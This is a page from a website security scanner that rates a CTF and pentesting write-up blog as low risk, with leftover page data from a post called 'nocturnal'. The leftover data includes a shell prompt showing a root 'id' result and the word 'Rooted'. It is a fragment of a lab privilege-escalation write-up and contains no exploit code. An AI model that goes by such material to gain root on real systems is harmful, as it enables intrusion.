self.__next_f.push([1,"ig-shell# id\\nuid=0(root) gid=0(root) groups=0(root)\\n\"}]}]\n2f:[\"$\",\"p\",null,{\"children\":\"Rooted\"}]\n30:[\"$\",\"div\",null,{\"className\":\"hidden lg:block\",\"children\":[\"$\",\"$L14\",null,{\"containerId\":\"post-content\"}]}]\n31:[\"$\",\"nav\",null,{\"className\":\"flex justify-between text-sm pt-6 border-t border-black/5 dark:border-white/10\",\"data-aos\":\"fade-up\",\"children\":[[\"$\",\"span\",null,{\"className\":\"opacity-40\",\"children\":[\"← \",\"Sebelumnya\"]}],[\"$\",\"a\",null,{\"className\":\"underline underline-offset-4 opacity-70 hover:opacity-100\",\"href\":\"/posts/2025-05-13-planning\",\"children\":[\"Berikutnya\",\" →\"]}]]}]\nb:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}]]\n7:null\n"])

self.__next_f.push([1,"9:{\"metadata\":[[\"$\",\"title\",\"0\",{\"children\":\"hadespwnme's Blog\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"Security, CTF, pentesting write-ups and notes.\"}],[\"$\",\"meta\",\"2\",{\"property\":\"og:title\",\"content\":\"hadespwnme's Blog\"}],[\"$\",\"meta\",\"3\",{\"property\":\"og:description\",\"content\":\"Security, CTF, pentesting write-ups and notes.\"}],[\"$\",\"meta\",\"4\",{\"property\":\"og:url\",\"content\":\"https://hadespwn.me\"}],[\"$\",\"meta\",\"5\",{\"property\":\"og:site_name\",\"content\":\"hadespwnme's Blog\"}],[\"$\",\"meta\",\"6\",{\"property\":\"og:type\",\"content\":\"website\"}],[\"$\",\"meta\",\"7\",{\"name\":\"twitter:card\",\"content\":\"summary\"}],[\"$\",\"meta\",\"8\",{\"name\":\"twitter:title\",\"content\":\"hadespwnme's Blog\"}],[\"$\",\"meta\",\"9\",{\"name\":\"twitter:description\",\"content\":\"Security, CTF, pentesting write-ups and notes.\"}],[\"$\",\"link\",\"10\",{\"rel\":\"icon\",\"href\":\"/favicon.ico?favicon.1d032b48.ico\",\"sizes\":\"256x256\",\"type\":\"image/x-icon\"}],[\"$\",\"link\",\"11\",{\"rel\":\"icon\",\"href\":\"/favicon.ico\",\"type\":\"image/x-icon\"}],[\"$\",\"link\",\"12\",{\"rel\":\"icon\",\"href\":\"/icon.png\",\"type\":\"image/png\",\"sizes\":\"512x512\"}],[\"$\",\"link\",\"13\",{\"rel\":\"apple-touch-icon\",\"href\":\"/apple-touch-icon.png\",\"sizes\":\"180x180\",\"type\":\"image/png\"}],[\"$\",\"$L33\",\"14\",{}]],\"error\":null,\"digest\":\"$undefined\"}\n"])

self.__next_f.push([1,"e:\"$9:metadata\"\n"])

Open-Graph-Protocol

Vercel

HSTS

hadespwnme's Blog

✅ Low Risk - https://hadespwnme.blog/posts/2025-04-13-nocturnal

Requests	IP Address	Location	AS Autonomous System
31	216.198.79.1	United States	AS16509AMAZON-02
31	1	-	-

Security Scan Report: hadespwnme.blog

Summary

AI Security Verdict

Low Risk

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies3

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History